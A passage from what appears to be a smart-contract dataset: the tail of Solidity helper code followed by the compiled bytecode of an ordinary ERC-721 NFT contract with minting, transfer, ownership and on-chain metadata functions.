revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
} | 0x6080604052600436106102045760003560e01c806370a0823111610118578063a475b5dd116100a0578063e8a3d4851161006f578063e8a3d48514610710578063e985e9c51461073b578063ed459df214610778578063f2fde38b146107a3578063fe2c7fee146107cc57610204565b8063a475b5dd14610668578063b88d4fde1461067f578063c87b56dd146106a8578063e091a73f146106e557610204565b80638da5cb5b116100e75780638da5cb5b146105935780638f32d59b146105be57806395d89b41146105e9578063a035b1fe14610614578063a22cb4651461063f57610204565b806370a08231146104fd578063715018a61461053a57806379ba50971461055157806388a17bde1461056857610204565b806325b31a971161019b578063518302271161016a5780635183022714610416578063570ca73514610441578063614892c41461046c5780636352211e146104955780636c0360eb146104d257610204565b806325b31a971461036b57806339a0c6f91461039b57806342842e0e146103c457806342966c68146103ed57610204565b8063162094c4116101d7578063162094c4146102d757806317fc45e21461030057806323452b9c1461032b57806323b872dd1461034257610204565b806301ffc9a71461020957806306fdde0314610246578063081812fc14610271578063095ea7b3146102ae575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b9190612f1c565b6107f5565b60405161023d919061363c565b60405180910390f35b34801561025257600080fd5b5061025b61092f565b6040516102689190613657565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612fbf565b6109bd565b6040516102a591906135d5565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190612edc565b610a42565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190612fec565b610b4c565b005b34801561030c57600080fd5b50610315610bbf565b60405161032291906138b9565b60405180910390f35b34801561033757600080fd5b50610340610be3565b005b34801561034e57600080fd5b5061036960048036038101906103649190612dc6565b610c51565b005b61038560048036038101906103809190612d59565b610caa565b60405161039291906138b9565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190612f76565b610dd9565b005b3480156103d057600080fd5b506103eb60048036038101906103e69190612dc6565b610e3a565b005b3480156103f957600080fd5b50610414600480360381019061040f9190612fbf565b610e5a565b005b34801561042257600080fd5b5061042b610eaf565b604051610438919061363c565b60405180910390f35b34801561044d57600080fd5b50610456610ec2565b60405161046391906135d5565b60405180910390f35b34801561047857600080fd5b50610493600480360381019061048e9190612f76565b610ee6565b005b3480156104a157600080fd5b506104bc60048036038101906104b79190612fbf565b610f47565b6040516104c991906135d5565b60405180910390f35b3480156104de57600080fd5b506104e76110df565b6040516104f49190613657565b60405180910390f35b34801561050957600080fd5b50610524600480360381019061051f9190612d59565b61116d565b60405161053191906138b9565b60405180910390f35b34801561054657600080fd5b5061054f6112fa565b005b34801561055d57600080fd5b506105666113ff565b005b34801561057457600080fd5b5061057d611527565b60405161058a91906138b9565b60405180910390f35b34801561059f57600080fd5b506105a861154b565b6040516105b591906135d5565b60405180910390f35b3480156105ca57600080fd5b506105d361156f565b6040516105e0919061363c565b60405180910390f35b3480156105f557600080fd5b506105fe6115c6565b60405161060b9190613657565b60405180910390f35b34801561062057600080fd5b50610629611654565b60405161063691906138b9565b60405180910390f35b34801561064b57600080fd5b5061066660048036038101906106619190612e9c565b611678565b005b34801561067457600080fd5b5061067d6117e4565b005b34801561068b57600080fd5b506106a660048036038101906106a19190612e19565b611848565b005b3480156106b457600080fd5b506106cf60048036038101906106ca9190612fbf565b6118a3565b6040516106dc9190613657565b60405180910390f35b3480156106f157600080fd5b506106fa61199d565b6040516107079190613657565b60405180910390f35b34801561071c57600080fd5b50610725611a2b565b6040516107329190613657565b60405180910390f35b34801561074757600080fd5b50610762600480360381019061075d9190612d86565b611a56565b60405161076f919061363c565b60405180910390f35b34801561078457600080fd5b5061078d611aea565b60405161079a919061363c565b60405180910390f35b3480156107af57600080fd5b506107ca60048036038101906107c59190612d59565b611b42565b005b3480156107d857600080fd5b506107f360048036038101906107ee9190612f76565b611c3d565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108c057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061092857507f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b6003805461093c90613bb5565b80601f016020809104026020016040519081016040528092919081815260200182805461096890613bb5565b80156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b505050505081565b60006109c882611c9e565b610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fe906137f9565b60405180910390fd5b600f600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a4d82610f47565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590613839565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610afe5750610afd8133611a56565b5b610b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3490613779565b60405180910390fd5b610b478383611d67565b505050565b610b5461156f565b610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906136d9565b60405180910390fd5b80600c60008481526020019081526020016000209080519060200190610bba929190612b6d565b505050565b7f000000000000000000000000000000000000000000000000000000000000064081565b610beb61156f565b610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c21906136d9565b60405180910390fd5b600160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055565b610c5b3382611e20565b610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9190613859565b60405180910390fd5b610ca5838383611efe565b505050565b60007f00000000000000000000000000000000000000000000000000b1a2bc2ec50000341015610d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0690613899565b60405180910390fd5b600854905060086000815480929190610d2790613c18565b91905055507f00000000000000000000000000000000000000000000000000000000000006408110610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590613699565b60405180910390fd5b610d98828261232d565b807fe499b794fc4f07362a6fc6f02b950224cab3fcc36cd9d8cd9463d6241cc34755343385604051610dcc939291906138d4565b60405180910390a2919050565b610de161156f565b610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e17906136d9565b60405180910390fd5b8060059080519060200190610e36929190612b6d565b5050565b610e5583838360405180602001604052806000815250611848565b505050565b610e643382611e20565b610ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9a90613859565b60405180910390fd5b610eac816124ef565b50565b600a60009054906101000a900460ff1681565b7f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9581565b610eee61156f565b610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f24906136d9565b60405180910390fd5b8060079080519060200190610f43929190612b6d565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff16600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610fd657507f00000000000000000000000000000000000000000000000000000000000006d682105b80156110005750600b600083815260200190815260200160002060009054906101000a900460ff16155b1561102d577f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9590506110da565b6000600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cc906137b9565b60405180910390fd5b809150505b919050565b600580546110ec90613bb5565b80601f016020809104026020016040519081016040528092919081815260200182805461111890613bb5565b80156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b60007f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611242576009547f00000000000000000000000000000000000000000000000000000000000006d6600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123191906139ea565b61123b9190613acb565b90506112f5565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a990613799565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b61130261156f565b611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906136d9565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b611407611aea565b611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613679565b60405180910390fd5b600160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b7f00000000000000000000000000000000000000000000000000000000000006d681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600480546115d390613bb5565b80601f01602080910402602001604051908101604052809291908181526020018280546115ff90613bb5565b801561164c5780601f106116215761010080835404028352916020019161164c565b820191906000526020600020905b81548152906001019060200180831161162f57829003601f168201915b505050505081565b7f00000000000000000000000000000000000000000000000000b1a2bc2ec5000081565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116de90613739565b60405180910390fd5b80601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516117d8919061363c565b60405180910390a35050565b6117ec61156f565b61182b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611822906136d9565b60405180910390fd5b6001600a60006101000a81548160ff021916908315150217905550565b6118523383611e20565b611891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188890613859565b60405180910390fd5b61189d8484848461268b565b50505050565b60607f00000000000000000000000000000000000000000000000000000000000006408211156118d257600080fd5b6060600a60009054906101000a900460ff1661191357600560066040516020016118fd9291906134df565b6040516020818303038152906040529050611944565b60056007611920856126e7565b60405160200161193293929190613503565b60405160208183030381529060405290505b611976611950846126e7565b82604051602001611962929190613585565b604051602081830303815290604052612848565b6040516020016119869190613563565b604051602081830303815290604052915050919050565b600780546119aa90613bb5565b80601f01602080910402602001604051908101604052809291908181526020018280546119d690613bb5565b8015611a235780601f106119f857610100808354040283529160200191611a23565b820191906000526020600020905b815481529060010190602001808311611a0657829003601f168201915b505050505081565b606060056007604051602001611a42929190613534565b604051602081830303815290604052905090565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b611b4a61156f565b611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b80906136d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf0906136b9565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611c4561156f565b611c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7b906136d9565b60405180910390fd5b8060069080519060200190611c9a929190612b6d565b5050565b60007f00000000000000000000000000000000000000000000000000000000000006d682108015611ced5750600b600083815260200190815260200160002060009054906101000a900460ff16155b15611cfb5760019050611d62565b600073ffffffffffffffffffffffffffffffffffffffff16600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141590505b919050565b81600f600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611dda83610f47565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e2b82611c9e565b611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6190613759565b60405180910390fd5b6000611e7583610f47565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611ee457508373ffffffffffffffffffffffffffffffffffffffff16611ecc846109bd565b73ffffffffffffffffffffffffffffffffffffffff16145b80611ef55750611ef48185611a56565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f1e82610f47565b73ffffffffffffffffffffffffffffffffffffffff1614611f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6b90613819565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb90613879565b60405180910390fd5b611fef600082611d67565b6000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561208f576001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120879190613acb565b925050819055505b81600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561215b57507f00000000000000000000000000000000000000000000000000000000000006d681105b156121d65760016009600082825461217391906139ea565b925050819055506001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121ca91906139ea565b925050819055506122cd565b7f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561225057507f00000000000000000000000000000000000000000000000000000000000006d681105b15612274576001600960008282546122689190613acb565b925050819055506122cc565b6001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122c491906139ea565b925050819055505b5b808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561239d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612394906137d9565b60405180910390fd5b6123a681611c9e565b156123e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dd90613719565b60405180910390fd5b6001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461243691906139ea565b9250508190555081600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60006124fa82610f47565b9050612507600083611d67565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156125a7576001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461259f9190613acb565b925050819055505b600d600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001600b600084815260200190815260200160002060006101000a81548160ff02191690831515021790555081600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a47f00000000000000000000000000000000000000000000000000000000000006d6505050565b612696848484611efe565b6126a2848484846129e0565b6126e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d8906136f9565b60405180910390fd5b50505050565b6060600082141561272f576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612843565b600082905060005b6000821461276157808061274a90613c18565b915050600a8261275a9190613a40565b9150612737565b60008167ffffffffffffffff81111561277d5761277c613d4e565b5b6040519080825280601f01601f1916602001820160405280156127af5781602001600182028036833780820191505090505b5090505b6000851461283c576001826127c89190613acb565b9150600a856127d79190613c61565b60306127e391906139ea565b60f81b8183815181106127f9576127f8613d1f565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856128359190613a40565b94506127b3565b8093505050505b919050565b6060600082519050600081141561287157604051806020016040528060008152509150506129db565b6000600360028361288291906139ea565b61288c9190613a40565b60046128989190613a71565b905060006020826128a991906139ea565b67ffffffffffffffff8111156128c2576128c1613d4e565b5b6040519080825280601f01601f1916602001820160405280156128f45781602001600182028036833780820191505090505b50905060006040518060600160405280604081526020016143c5604091399050600181016020830160005b868110156129985760038101905062ffffff818a015116603f8160121c168401518060081b905060ff603f83600c1c1686015116810190508060081b905060ff603f8360061c1686015116810190508060081b905060ff603f831686015116810190508060e01b9050808452600484019350505061291f565b5060038606600181146129b257600281146129c2576129cd565b613d3d60f01b60028303526129cd565b603d60f81b60018303525b508484525050819450505050505b919050565b60006129eb84612b5a565b15612b4d578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02338786866040518563ffffffff1660e01b8152600401612a2f94939291906135f0565b602060405180830381600087803b158015612a4957600080fd5b505af1925050508015612a7a57506040513d601f19601f82011682018060405250810190612a779190612f49565b60015b612afd573d8060008114612aaa576040519150601f19603f3d011682016040523d82523d6000602084013e612aaf565b606091505b50600081511415612af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aec906136f9565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612b52565b600190505b949350505050565b600080823b905060008111915050919050565b828054612b7990613bb5565b90600052602060002090601f016020900481019282612b9b5760008555612be2565b82601f10612bb457805160ff1916838001178555612be2565b82800160010185558215612be2579182015b82811115612be1578251825591602001919060010190612bc6565b5b509050612bef9190612bf3565b5090565b5b80821115612c0c576000816000905550600101612bf4565b5090565b6000612c23612c1e84613930565b61390b565b905082815260208101848484011115612c3f57612c3e613d82565b5b612c4a848285613b73565b509392505050565b6000612c65612c6084613961565b61390b565b905082815260208101848484011115612c8157612c80613d82565b5b612c8c848285613b73565b509392505050565b600081359050612ca381614368565b92915050565b600081359050612cb88161437f565b92915050565b600081359050612ccd81614396565b92915050565b600081519050612ce281614396565b92915050565b600082601f830112612cfd57612cfc613d7d565b5b8135612d0d848260208601612c10565b91505092915050565b600082601f830112612d2b57612d2a613d7d565b5b8135612d3b848260208601612c52565b91505092915050565b600081359050612d53816143ad565b92915050565b600060208284031215612d6f57612d6e613d8c565b5b6000612d7d84828501612c94565b91505092915050565b60008060408385031215612d9d57612d9c613d8c565b5b6000612dab85828601612c94565b9250506020612dbc85828601612c94565b9150509250929050565b600080600060608486031215612ddf57612dde613d8c565b5b6000612ded86828701612c94565b9350506020612dfe86828701612c94565b9250506040612e0f86828701612d44565b9150509250925092565b60008060008060808587031215612e3357612e32613d8c565b5b6000612e4187828801612c94565b9450506020612e5287828801612c94565b9350506040612e6387828801612d44565b925050606085013567ffffffffffffffff811115612e8457612e83613d87565b5b612e9087828801612ce8565b91505092959194509250565b60008060408385031215612eb357612eb2613d8c565b5b6000612ec185828601612c94565b9250506020612ed285828601612ca9565b9150509250929050565b60008060408385031215612ef357612ef2613d8c565b5b6000612f0185828601612c94565b9250506020612f1285828601612d44565b9150509250929050565b600060208284031215612f3257612f31613d8c565b5b6000612f4084828501612cbe565b91505092915050565b600060208284031215612f5f57612f5e613d8c565b5b6000612f6d84828501612cd3565b91505092915050565b600060208284031215612f8c57612f8b613d8c565b5b600082013567ffffffffffffffff811115612faa57612fa9613d87565b5b612fb684828501612d16565b91505092915050565b600060208284031215612fd557612fd4613d8c565b5b6000612fe384828501612d44565b91505092915050565b6000806040838503121561300357613002613d8c565b5b600061301185828601612d44565b925050602083013567ffffffffffffffff81111561303257613031613d87565b5b61303e85828601612d16565b9150509250929050565b61305181613aff565b82525050565b61306081613b11565b82525050565b6000613071826139a7565b61307b81856139bd565b935061308b818560208601613b82565b61309481613d91565b840191505092915050565b60006130aa826139b2565b6130b481856139ce565b93506130c4818560208601613b82565b6130cd81613d91565b840191505092915050565b60006130e3826139b2565b6130ed81856139df565b93506130fd818560208601613b82565b80840191505092915050565b6000815461311681613bb5565b61312081866139df565b9450600182166000811461313b576001811461314c5761317f565b60ff1983168652818601935061317f565b61315585613992565b60005b8381101561317757815481890152600182019150602081019050613158565b838801955050505b50505092915050565b6000613195602c836139ce565b91506131a082613da2565b604082019050919050565b60006131b86016836139ce565b91506131c382613df1565b602082019050919050565b60006131db601f836139ce565b91506131e682613e1a565b602082019050919050565b60006131fe6018836139ce565b915061320982613e43565b602082019050919050565b60006132216032836139ce565b915061322c82613e6c565b604082019050919050565b6000613244601c836139ce565b915061324f82613ebb565b602082019050919050565b60006132676019836139ce565b915061327282613ee4565b602082019050919050565b600061328a602c836139ce565b915061329582613f0d565b604082019050919050565b60006132ad6038836139ce565b91506132b882613f5c565b604082019050919050565b60006132d0602a836139ce565b91506132db82613fab565b604082019050919050565b60006132f36029836139ce565b91506132fe82613ffa565b604082019050919050565b60006133166008836139df565b915061332182614049565b600882019050919050565b60006133396002836139df565b915061334482614072565b600282019050919050565b600061335c6020836139ce565b91506133678261409b565b602082019050919050565b600061337f602c836139ce565b915061338a826140c4565b604082019050919050565b60006133a26029836139ce565b91506133ad82614113565b604082019050919050565b60006133c56021836139ce565b91506133d082614162565b604082019050919050565b60006133e8601d836139df565b91506133f3826141b1565b601d82019050919050565b600061340b6031836139ce565b9150613416826141da565b604082019050919050565b600061342e6037836139ce565b915061343982614229565b604082019050919050565b6000613451600a836139df565b915061345c82614278565b600a82019050919050565b60006134746022836139df565b915061347f826142a1565b602282019050919050565b60006134976028836139df565b91506134a2826142f0565b602882019050919050565b60006134ba6017836139ce565b91506134c58261433f565b602082019050919050565b6134d981613b69565b82525050565b60006134eb8285613109565b91506134f78284613109565b91508190509392505050565b600061350f8286613109565b915061351b8285613109565b915061352782846130d8565b9150819050949350505050565b60006135408285613109565b915061354c8284613109565b915061355782613309565b91508190509392505050565b600061356e826133db565b915061357a82846130d8565b915081905092915050565b600061359082613467565b915061359c82856130d8565b91506135a78261348a565b91506135b282613444565b91506135be82846130d8565b91506135c98261332c565b91508190509392505050565b60006020820190506135ea6000830184613048565b92915050565b60006080820190506136056000830187613048565b6136126020830186613048565b61361f60408301856134d0565b81810360608301526136318184613066565b905095945050505050565b60006020820190506136516000830184613057565b92915050565b60006020820190508181036000830152613671818461309f565b905092915050565b6000602082019050818103600083015261369281613188565b9050919050565b600060208201905081810360008301526136b2816131ab565b9050919050565b600060208201905081810360008301526136d2816131ce565b9050919050565b600060208201905081810360008301526136f2816131f1565b9050919050565b6000602082019050818103600083015261371281613214565b9050919050565b6000602082019050818103600083015261373281613237565b9050919050565b600060208201905081810360008301526137528161325a565b9050919050565b600060208201905081810360008301526137728161327d565b9050919050565b60006020820190508181036000830152613792816132a0565b9050919050565b600060208201905081810360008301526137b2816132c3565b9050919050565b600060208201905081810360008301526137d2816132e6565b9050919050565b600060208201905081810360008301526137f28161334f565b9050919050565b6000602082019050818103600083015261381281613372565b9050919050565b6000602082019050818103600083015261383281613395565b9050919050565b60006020820190508181036000830152613852816133b8565b9050919050565b60006020820190508181036000830152613872816133fe565b9050919050565b6000602082019050818103600083015261389281613421565b9050919050565b600060208201905081810360008301526138b2816134ad565b9050919050565b60006020820190506138ce60008301846134d0565b92915050565b60006060820190506138e960008301866134d0565b6138f66020830185613048565b6139036040830184613048565b949350505050565b6000613915613926565b90506139218282613be7565b919050565b6000604051905090565b600067ffffffffffffffff82111561394b5761394a613d4e565b5b61395482613d91565b9050602081019050919050565b600067ffffffffffffffff82111561397c5761397b613d4e565b5b61398582613d91565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006139f582613b69565b9150613a0083613b69565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3557613a34613c92565b5b828201905092915050565b6000613a4b82613b69565b9150613a5683613b69565b925082613a6657613a65613cc1565b5b828204905092915050565b6000613a7c82613b69565b9150613a8783613b69565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ac057613abf613c92565b5b828202905092915050565b6000613ad682613b69565b9150613ae183613b69565b925082821015613af457613af3613c92565b5b828203905092915050565b6000613b0a82613b49565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613ba0578082015181840152602081019050613b85565b83811115613baf576000848401525b50505050565b60006002820490506001821680613bcd57607f821691505b60208210811415613be157613be0613cf0565b5b50919050565b613bf082613d91565b810181811067ffffffffffffffff82111715613c0f57613c0e613d4e565b5b80604052505050565b6000613c2382613b69565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c5657613c55613c92565b5b600182019050919050565b6000613c6c82613b69565b9150613c7783613b69565b925082613c8757613c86613cc1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f63757272656e74206f776e6572206d757374207365742063616c6c657220617360008201527f206e657874206f776e65722e0000000000000000000000000000000000000000602082015250565b7f5468697320746f6b656e20697320736f6c64206f757400000000000000000000600082015250565b7f4e657874206f776e657220697320746865207a65726f20616464726573732e00600082015250565b7f63616c6c6572206973206e6f7420746865206f776e65722e0000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f636f6e7472616374000000000000000000000000000000000000000000000000600082015250565b7f227d000000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f646174613a6170706c69636174696f6e2f6a736f6e3b